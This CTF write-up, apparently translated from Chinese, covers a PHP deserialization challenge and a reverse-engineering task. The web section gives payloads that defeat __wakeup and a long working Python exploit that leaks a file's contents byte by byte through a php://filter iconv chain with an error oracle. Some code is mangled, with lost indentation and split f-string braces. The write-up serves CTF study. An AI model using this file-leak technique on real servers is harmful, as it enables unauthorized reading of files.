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Are you really familiar with PHP?
The source code is as follows
<?php
class Saferman{
public $check = True;
public function __destruct(){
if($this->check === True){
file($_GET['secret']);
}
}
public function __wakeup(){
$this->check=False;
}
}
if(isset($_GET['my_secret.flag'])){
unserialize($_GET['my_secret.flag']);
}else{
highlight_file(__FILE__);
}
First of all, we need to solve the problem of passing parametersmy_secret.flag
According to the parsing characteristics of PHP, if there are equal symbols in the string [、., PHP will convert it to _and only once , so if we construct my_secret.flagit directly, PHP will execute it in the end , so we will replace it with my_secret_flagthe previous one , which is when passing parameters Pass parameters as_[my[secret.flag
Then deserialize. According to the code audit, our purpose is to bypass __wakeup()the magic method and pass parameters through GET secret. We first solve how to bypass it.__wakeup()
First try this method if the number of attributes of the object is inconsistent.
Construct exp
<?php
class Saferman{
public $check = True;
}
$a=new Saferman();
echo serialize($a);
Run the script to get
O:8:"Saferman":1:{s:5:"check";b:1;}
Then change the number of attributes to 2 to get the payload
?my[secret.flag=O:8:"Saferman":2:{s:5:"check";b:1;}
However, this method has version restrictions and requirements PHP7 < 7.0.10, but the question environment does not meet this requirement.
You can see that the version is PHP/7.4.33, then change the method
C bypass
Can be bypassed by using CinsteadO__wakeup()
<?php
class Saferman{
}
$a=new Saferman();
echo serialize($a);
#O:8:"Saferman":0:{}
Change Oto C, get the payload
?my[secret.flag=C:8:"Saferman":0:{}
This can be bypassed normally__wakeup()
But then the question came, how to use file()the function to get the flag, I fumbled for a long time, and then I read the Boogipop master's blog about side channels.
To sum it up in one sentence,The filter pseudo-protocol can be used in the file function.
I borrowed the script and modified it a bit
import requests
import sys
from base64 import b64decode
"""
THE GRAND IDEA:
We can use PHP memory limit as an error oracle. Repeatedly applying the convert.iconv.L1.UCS-4LE
filter will blow up the string length by 4x every time it is used, which will quickly cause
500 error if and only if the string is non empty. So we now have an oracle that tells us if
the string is empty.
THE GRAND IDEA 2:
The dechunk filter is interesting.
https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724
It looks like it was implemented for something http related, but for our purposes, the interesting
behavior is that if the string contains no newlines, it will wipe the entire string if and only if
the string starts with A-Fa-f0-9, otherwise it will leave it untouched. This works perfect with our
above oracle! In fact we can verify that since the flag starts with D that the filter chain
dechunk|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|[...]|convert.iconv.L1.UCS-4LE
does not cause a 500 error.
THE REST:
So now we can verify if the first character is in A-Fa-f0-9. The rest of the challenge is a descent
into madness trying to figure out ways to:
- somehow get other characters not at the start of the flag file to the front
- detect more precisely which character is at the front
"""
def join(*x):
return '|'.join(x)
def err(s):
print(s)
raise ValueError
def req(s):
secret= f'php://filter/{
s}/resource=/flag'
#print('http://123.57.73.24:41012/?secret='+secret+'&my[secret.flag=C:8:"Saferman":0:{}')
return requests.get('http://123.57.73.24:41012/?my[secret.flag=C:8:"Saferman":0:{}&secret='+secret).status_code == 500
"""
Step 1:
The second step of our exploit only works under two conditions:
- String only contains a-zA-Z0-9
- String ends with two equals signs
base64-encoding the flag file twice takes care of the first condition.
We don't know the length of the flag file, so we can't be sure that it will end with two equals
signs.
Repeated application of the convert.quoted-printable-encode will only consume additional
memory if the base64 ends with equals signs, so that's what we are going to use as an oracle here.
If the double-base64 does not end with two equals signs, we will add junk data to the start of the
flag with convert.iconv..CSISO2022KR until it does.
"""
blow_up_enc = join(*['convert.quoted-printable-encode']*1000)
blow_up_utf32 = 'convert.iconv.L1.UCS-4LE'
blow_up_inf = join(*[blow_up_utf32]*50)
header = 'convert.base64-encode|convert.base64-encode'
# Start get baseline blowup
print('Calculating blowup')
baseline_blowup = 0
for n in range(100):
payload = join(*[blow_up_utf32]*n)
if req(f'{
header}|{
payload}'):
baseline_blowup = n
break
else:
err('something wrong')
print(f'baseline blowup is {
baseline_blowup}')
trailer = join(*[blow_up_utf32]*(baseline_blowup-1))
assert req(f'{
header}|{
trailer}') == False
print('detecting equals')
j = [
req(f'convert.base64-encode|convert.base64-encode|{
blow_up_enc}|{
trailer}'),
req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{
blow_up_enc}|{
trailer}'),
req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{
blow_up_enc}|{
trailer}')
]
print(j)
if sum(j) != 2:
err('something wrong')
if j[0] == False:
header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'
elif j[1] == False:
header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'
elif j[2] == False:
header = f'convert.base64-encode|convert.base64-encode'
else:
err('something wrong')
print(f'j: {
j}')
print(f'header: {
header}')
"""
Step two:
Now we have something of the form
[a-zA-Z0-9 things]==
Here the pain begins. For a long time I was trying to find something that would allow me to strip
successive characters from the start of the string to access every character. Maybe something like
that exists but I couldn't find it. However, if you play around with filter combinations you notice
there are filters that *swap* characters:
convert.iconv.CSUNICODE.UCS-2BE, which I call r2, flips every pair of characters in a string:
abcdefgh -> badcfehg
convert.iconv.UCS-4LE.10646-1:1993, which I call r4, reverses every chunk of four characters:
abcdefgh -> dcbahgfe
This allows us to access the first four characters of the string. Can we do better? It turns out
YES, we can! Turns out that convert.iconv.CSUNICODE.CSUNICODE appends <0xff><0xfe> to the start of
the string:
abcdefgh -> <0xff><0xfe>abcdefgh
The idea being that if we now use the r4 gadget, we get something like:
ba<0xfe><0xff>fedc
And then if we apply a convert.base64-decode|convert.base64-encode, it removes the invalid
<0xfe><0xff> to get:
bafedc
And then apply the r4 again, we have swapped the f and e to the front, which were the 5th and 6th
characters of the string. There's only one problem: our r4 gadget requires that the string length
is a multiple of 4. The original base64 string will be a multiple of four by definition, so when
we apply convert.iconv.CSUNICODE.CSUNICODE it will be two more than a multiple of four, which is no
good for our r4 gadget. This is where the double equals we required in step 1 comes in! Because it
turns out, if we apply the filter
convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7
It will turn the == into:
+---AD0-3D3D+---AD0-3D3D
And this is magic, because this corrects such that when we apply the
convert.iconv.CSUNICODE.CSUNICODE filter the resuting string is exactly a multiple of four!
Let's recap. We have a string like:
abcdefghij==
Apply the convert.quoted-printable-encode + convert.iconv.L1.utf7:
abcdefghij+---AD0-3D3D+---AD0-3D3D
Apply convert.iconv.CSUNICODE.CSUNICODE:
<0xff><0xfe>abcdefghij+---AD0-3D3D+---AD0-3D3D
Apply r4 gadget:
ba<0xfe><0xff>fedcjihg---+-0DAD3D3---+-0DAD3D3
Apply base64-decode | base64-encode, so the '-' and high bytes will disappear:
bafedcjihg+0DAD3D3+0DAD3Dw==
Then apply r4 once more:
efabijcd0+gh3DAD0+3D3DAD==wD
And here's the cute part: not only have we now accessed the 5th and 6th chars of the string, but
the string still has two equals signs in it, so we can reapply the technique as many times as we
want, to access all the characters in the string ;)
"""
flip = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"
r2 = "convert.iconv.CSUNICODE.UCS-2BE"
r4 = "convert.iconv.UCS-4LE.10646-1:1993"
def get_nth(n):
global flip, r2, r4
o = []
chunk = n // 2
if chunk % 2 == 1: o.append(r4)
o.extend([flip, r4] * (chunk // 2))
if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2)
return join(*o)
"""
Step 3:
This is the longest but actually easiest part. We can use dechunk oracle to figure out if the first
char is 0-9A-Fa-f. So it's just a matter of finding filters which translate to or from those
chars. rot13 and string lower are helpful. There are probably a million ways to do this bit but
I just bruteforced every combination of iconv filters to find these.
Numbers are a bit trickier because iconv doesn't tend to touch them.
In the CTF you coud porbably just guess from there once you have the letters. But if you actually
want a full leak you can base64 encode a third time and use the first two letters of the resulting
string to figure out which number it is.
"""
rot1 = 'convert.iconv.437.CP930'
be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'
o = ''
def find_letter(prefix):
if not req(f'{
prefix}|dechunk|{
blow_up_inf}'):
# a-f A-F 0-9
if not req(f'{
prefix}|{
rot1}|dechunk|{
blow_up_inf}'):
# a-e
for n in range(5):
if req(f'{
prefix}|' + f'{
rot1}|{
be}|'*(n+1) + f'{
rot1}|dechunk|{
blow_up_inf}'):
return 'edcba'[n]
break
else:
err('something wrong')
elif not req(f'{
prefix}|string.tolower|{
rot1}|dechunk|{
blow_up_inf}'):
# A-E
for n in range(5):
if req(f'{
prefix}|string.tolower|' + f'{
rot1}|{
be}|'*(n+1) + f'{
rot1}|dechunk|{
blow_up_inf}'):
return 'EDCBA'[n]
break
else:
err('something wrong')
elif not req(f'{
prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{
blow_up_inf}'):
return '*'
elif not req(f'{
prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{
blow_up_inf}'):
# f
return 'f'
elif not req(f'{
prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{
blow_up_inf}'):
# F
return 'F'
else:
err('something wrong')
elif not req(f'{
prefix}|string.rot13|dechunk|{
blow_up_inf}'):
# n-s N-S
if not req(f'{
prefix}|string.rot13|{
rot1}|dechunk|{
blow_up_inf}'):
# n-r
for n in range(5):
if req(f'{
prefix}|string.rot13|' + f'{
rot1}|{
be}|'*(n+1) + f'{
rot1}|dechunk|{
blow_up_inf}'):
return 'rqpon'[n]
break
else:
err('something wrong')
elif not req(f'{
prefix}|string.rot13|string.tolower|{
rot1}|dechunk|{
blow_up_inf}'):
# N-R
for n in range(5):
if req(f'{
prefix}|string.rot13|string.tolower|' + f'{
rot1}|{
be}|'*(n+1) + f'{
rot1}|dechunk|{
blow_up_inf}'):
return 'RQPON'[n]
break
else:
err('something wrong')
elif not req(f'{
prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{
blow_up_inf}'):
# s
return 's'
elif not req(f'{
prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{
blow_up_inf}'):
# S
return 'S'
else:
err('something wrong')
elif not req(f'{
prefix}|{
rot1}|string.rot13|dechunk|{
blow_up_inf}'):
# i j k
if req(f'{
prefix}|{
rot1}|string.rot13|{
be}|{
rot1}|dechunk|{
blow_up_inf}'):
return 'k'
elif req(f'{
prefix}|{
rot1}|string.rot13|{
be}|{
rot1}|{
be}|{
rot1}|dechunk|{
blow_up_inf}'):
return 'j'
elif req(f'{
prefix}|{
rot1}|string.rot13|{
be}|{
rot1}|{
be}|{
rot1}|{
be}|{
rot1}|dechunk|{
blow_up_inf}'):
return 'i'
else:
err('something wrong')
elif not req(f'{
prefix}|string.tolower|{
rot1}|string.rot13|dechunk|{
blow_up_inf}'):
# I J K
if req(f'{
prefix}|string.tolower|{
rot1}|string.rot13|{
be}|{
rot1}|dechunk|{
blow_up_inf}'):
return 'K'
elif req(f'{
prefix}|string.tolower|{
rot1}|string.rot13|{
be}|{
rot1}|{
be}|{
rot1}|dechunk|{
blow_up_inf}'):
return 'J'
elif req(f'{
prefix}|string.tolower|{
rot1}|string.rot13|{
be}|{
rot1}|{
be}|{
rot1}|{
be}|{
rot1}|dechunk|{
blow_up_inf}'):
return 'I'
else:
err('something wrong')
elif not req(f'{
prefix}|string.rot13|{
rot1}|string.rot13|dechunk|{
blow_up_inf}'):
# v w x
if req(f'{
prefix}|string.rot13|{
rot1}|string.rot13|{
be}|{
rot1}|dechunk|{
blow_up_inf}'):
return 'x'
elif req(f'{
prefix}|string.rot13|{
rot1}|string.rot13|{
be}|{
rot1}|{
be}|{
rot1}|dechunk|{
blow_up_inf}'):
return 'w'
elif req(f'{
prefix}|string.rot13|{
rot1}|string.rot13|{
be}|{
rot1}|{
be}|{
rot1}|{
be}|{
rot1}|dechunk|{
blow_up_inf}'):
return 'v'
else:
err('something wrong')
elif not req(f'{
prefix}|string.tolower|string.rot13|{
rot1}|string.rot13|dechunk|{
blow_up_inf}'):
# V W X
if req(f'{
prefix}|string.tolower|string.rot13|{
rot1}|string.rot13|{
be}|{
rot1}|dechunk|{
blow_up_inf}'):
return 'X'
elif req(f'{
prefix}|string.tolower|string.rot13|{
rot1}|string.rot13|{
be}|{
rot1}|{
be}|{
rot1}|dechunk|{
blow_up_inf}'):
return 'W'
elif req(f'{
prefix}|string.tolower|string.rot13|{
rot1}|string.rot13|{
be}|{
rot1}|{
be}|{
rot1}|{
be}|{
rot1}|dechunk|{
blow_up_inf}'):
return 'V'
else:
err('something wrong')
elif not req(f'{
prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{
blow_up_inf}'):
# Z
return 'Z'
elif not req(f'{
prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{
blow_up_inf}'):
# z
return 'z'
elif not req(f'{
prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{
blow_up_inf}'):
# M
return 'M'
elif not req(f'{
prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{
blow_up_inf}'):
# m
return 'm'
elif not req(f'{
prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{
blow_up_inf}'):
# y
return 'y'
elif not req(f'{
prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{
blow_up_inf}'):
# Y
return 'Y'
elif not req(f'{
prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{
blow_up_inf}'):
# l
return 'l'
elif not req(f'{
prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{
blow_up_inf}'):
# L
return 'L'
elif not req(f'{
prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{
blow_up_inf}'):
# h
return 'h'
elif not req(f'{
prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{
blow_up_inf}'):
# H
return 'H'
elif not req(f'{
prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{
blow_up_inf}'):
# u
return 'u'
elif not req(f'{
prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{
blow_up_inf}'):
# U
return 'U'
elif not req(f'{
prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{
blow_up_inf}'):
# g
return 'g'
elif not req(f'{
prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{
blow_up_inf}'):
# G
return 'G'
elif not req(f'{
prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{
blow_up_inf}'):
# t
return 't'
elif not req(f'{
prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{
blow_up_inf}'):
# T
return 'T'
else:
err('something wrong')
print()
for i in range(100):
prefix = f'{
header}|{
get_nth(i)}'
letter = find_letter(prefix)
# it's a number! check base64
if letter == '*':
prefix = f'{
header}|{
get_nth(i)}|convert.base64-encode'
s = find_letter(prefix)
if s == 'M':
# 0 - 3
prefix = f'{
header}|{
get_nth(i)}|convert.base64-encode|{
r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '0'
elif ss in 'STUVWX':
letter = '1'
elif ss in 'ijklmn':
letter = '2'
elif ss in 'yz*':
letter = '3'
else:
err(f'bad num ({
ss})')
elif s == 'N':
# 4 - 7
prefix = f'{
header}|{
get_nth(i)}|convert.base64-encode|{
r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '4'
elif ss in 'STUVWX':
letter = '5'
elif ss in 'ijklmn':
letter = '6'
elif ss in 'yz*':
letter = '7'
else:
err(f'bad num ({
ss})')
elif s == 'O':
# 8 - 9
prefix = f'{
header}|{
get_nth(i)}|convert.base64-encode|{
r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '8'
elif ss in 'STUVWX':
letter = '9'
else:
err(f'bad num ({
ss})')
else:
err('wtf')
print(end=letter)
o += letter
sys.stdout.flush()
"""
We are done!! :)
"""
print()
d = b64decode(o.encode() + b'=' * 4)
# remove KR padding
d = d.replace(b'$)C',b'')
print(b64decode(d))
Get flag after running
Reverse
Story
Open the attachment after downloading itsrc.cpp
#include<bits/stdc++.h>
#include<Windows.h>
using namespace std;
int cnt=0;
struct node {
int ch[2];
} t[5001];
char base64_table[]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
string base64_encode(string str) {
int len=str.length();
string ans="";
for (int i=0; i<len/3*3; i+=3) {
ans+=base64_table[str[i]>>2];
ans+=base64_table[(str[i]&0x3)<<4 | (str[i+1])>>4];
ans+=base64_table[(str[i+1]&0xf)<<2 | (str[i+2])>>6];
ans+=base64_table[(str[i+2])&0x3f];
}
if(len%3==1) {
int pos=len/3*3;
ans+=base64_table[str[pos]>>2];
ans+=base64_table[(str[pos]&0x3)<<4];
ans+="=";
ans+="=";
} else if(len%3==2) {
int pos=len/3*3;
ans+=base64_table[str[pos]>>2];
ans+=base64_table[(str[pos]&0x3)<<4 | (str[pos+1])>>4];
ans+=base64_table[(str[pos+1]&0xf)<<2];
ans+="=";
}
return ans;
}
void Trie_build(int x) {
int num[31]= {
0};
for(int i=30; i>=0; i--) {
if(x&(1<<i))num[i]=1;
else num[i]=0;
}
int now=0;
for(int i=30; i>=0; i--) {
if(!t[now].ch[num[i]])
t[now].ch[num[i]]=++cnt;
now=t[now].ch[num[i]];
}
}
int Trie_query(int x) {
int now=0,ans=0;
for(int i=30; i>=0; i--) {
if((1<<i)&x) {
if(t[now].ch[0]) {
ans|=(1<<i);
now=t[now].ch[0];
} else
now=t[now].ch[1];
}
if(!((1<<i)&x)) {
if(t[now].ch[1]) {
ans|=(1<<i);
now=t[now].ch[1];
} else
now=t[now].ch[0];
}
}
return ans;
}
int c[]= {
35291831,12121212,14515567,25861240,12433421,53893532,13249232,34982733,23424798,98624870,87624276};
//string flag="WhatisYourStory";
// number = 34982733
int main() {
cout<<"Hi, I want to know:";
string s;cin>>s;
DWORD oldProtect;
VirtualProtect((LPVOID)&Trie_build, sizeof(&Trie_build), PAGE_EXECUTE_READWRITE, &oldProtect);
char *a = (char *)Trie_build;
char *b = (char *)Trie_query;
int i=0;
for(; a<b; a++){
*((BYTE*)a )^=0x20;
}
int opt=89149889;
for(int i=1; i<=10; i++)Trie_build(c[i]);
int x=Trie_query(opt),number;
cout<<"你能猜出树上哪个值与89149889得到了随机种子吗"<<endl;
cin>>number;
srand(x);
random_shuffle(base64_table,base64_table+64);
// cout<<x<<endl;
// cout<<base64_table<<endl;
// cout<<base64_encode(s)<<endl;
string ss=base64_encode(s);
if(ss=="fagg4lvhss7qjvBC0FJr")
cout<<"good!let your story begin:flag{"<<s<<number<<"}"<<endl;
else cout<<"try and try again"<<endl;
return 0;
/*cout<<Trie_query(opt)<<endl;
cout<<endl;
for(int i=0;i<=10;i++){
cout<<(opt^c[i])<<endl;
}*/
return 0;
}
Find the code that outputs the flag
numberand flagthe string has been given
Then perform string concatenation according to the order of output to obtain the flag.
flag{WhatisYourStory34982733}
Reference article: